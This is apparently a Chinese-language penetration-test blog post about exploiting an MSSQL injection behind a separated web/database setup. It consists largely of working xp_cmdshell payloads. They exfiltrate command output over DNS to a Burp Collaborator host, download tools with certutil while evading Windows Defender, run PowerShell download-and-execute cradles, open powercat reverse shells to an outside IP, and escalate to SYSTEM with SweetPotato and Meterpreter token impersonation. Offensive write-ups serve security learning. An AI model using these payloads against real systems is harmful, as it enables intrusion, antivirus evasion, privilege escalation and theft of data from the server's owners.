0x00 前言
而且这台数据库服务器上不存在Web,所以也不能写入Webshell;找到了后台地址,但在sqlmap中没有找到管理员和用户表,直接执行os-shell会出现下图报错,提示不支持堆叠查询...!
0x01 基本信息收集
利用Burp Collaborator或dnslog平台通过dns/http外带方式得到当前用户权限,确定站库分离/是否出网,而且在外带出来的进程中发现有Defender。
注:Burpsuite抓包测试时可以用%20
或+
号来替代空格,如果直接用空格可能执行失败,浏览器会自动转URL编码,但Burpsuite不会,这是个值得注意的小细节。
(1) 获取当前用户权限
这个注入是mssqlserver普通权限,在写入temp临时文件时必须指定一个可读写目录,否则可能因权限问题而写不进去,不指定目录默认为system32,没权限写入。
C:\Users\Public\Videos
C:\Users\Public\Pictures
C:\Users\Public\Downloads
C:\Users\Public\Documents
[...SNIP...]
;exec+xp_cmdshell+'cmd+/v+/c+"whoami>C:\Users\Public\Pictures\temp%26certutil+-encode+C:\Users\Public\Pictures\temp+C:\Users\Public\Pictures\temp1%26findstr+/L+/V+CERTIFICATE+C:\Users\Public\Pictures\temp1>C:\Users\Public\Pictures\temp2%26set+/p+MYVAR=<+C:\Users\Public\Pictures\temp2+%26+set+FINAL=!MYVAR!.gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net+%26+nslookup+!FINAL!%26del+C:\Users\Public\Pictures\temp*"'
注:Burp Collaborator会将返回的Base64自动转为小写,而Base64又是区分大小写的,所以咱这里不能正常解码,换个dnslog平台就好了,建议用dig.pm。
(2) 判断是否站库分离
+and+1=convert(int,(select+host_name()))
+and+1=convert(int,(select[email protected]@servername))
+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+host_name())%2b'.********.ipv6.1433.eu.org\1.trc',default))
+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select[email protected]@servername)%2b'.********.ipv6.1433.eu.org\1.trc',default))
(3) 判断是否可以出网
;exec+xp_cmdshell+'cmd+/c+mshta+http://gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net'
(4) 判断是否存在杀软
;exec+xp_cmdshell+"for+/F+%i+in+('wmic+process+get+Name+^|findstr+.exe')+do+ping+-n+1+%i.********.ipv6.1433.eu.org>nul"
0x02 站库分离提权
但这里站库分离了,而且存在Defender,我们的大部分马和提权EXP在上传或执行过程中都被杀了。
虽然站库分离,但允许出外网,所以我们可以利用ExecRemoteNET远程加载土豆进行提权。
https://github.com/m1ddl3w4r3/ExecRemoteNET
执行certutil命令将ExecRemoteNET.exe落地到目标磁盘,http/https中使用""""
绕过WDF的拦截,这个项目目前还可以过静态免杀,所以不会被查杀。
;exec+xp_cmdshell+'certutil+-urlcache+-split+-f+ht""""tp://192.168.1.110/ExecRemoteNET.exe+C:\Users\Public\Videos\RemoteNET.exe'
RemoteNET.exe成功落地,但还是存在一个问题,就是在注入点执行时没有回显,不太好确定咱们提权EXP是否执行成功?所以这里我们还需要先反弹个shell。 我用的powershell-reverse-shell.ps1,这个脚本反弹shell不会被WDF拦截,注意单双引号问题;也可以用powercat.ps1,但会被AMSI拦截,需要改下才行。
https://github.com/martinsohn/PowerShell-reverse-shell
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powershell-reverse-shell.ps1')"
成功反弹shell后再利用刚落地的RemoteNET.exe远程加载SweetPotato,这时通过回显可以看到已经提权为SYSTEM,如果想绕WDF上线可参考其他文章。
C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -a whoami"
C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a C:\ProgramData\bypass.ps1"
(2) MSF模拟令牌提权
首先我们利用以上参考文章中的绕过方式获取一个Meterpreter会话,如果进程列表有Ssms.exe进程则大概率可以使用Incognito扩展中的模拟令牌功能提权。
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/bypass.ps1')"
只要管理员在这台机器上使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,所以我们可以直接获取Administrator令牌。
0x03 一些问题解决
↑↓←→
等特殊按键乱码问题,我们可以尝试使用rlwrap
工具来解决这个问题。(2) 执行powercat反弹shell时发现限制了字符长度,这里我们可以尝试用短域名,或者是修改文件名和函数名,这里我将文件名改为1.ps1
,函数名改为f
。
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powercat1.ps1');cmdshell+-c+192.168.1.120+-p+9527+-e+cmd"
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).DownloadString('http://192.168.1.120/1.ps1');f+-c+192.168.1.120+-p+9527+-e+cmd"
关 注 有 礼
推 荐 阅 读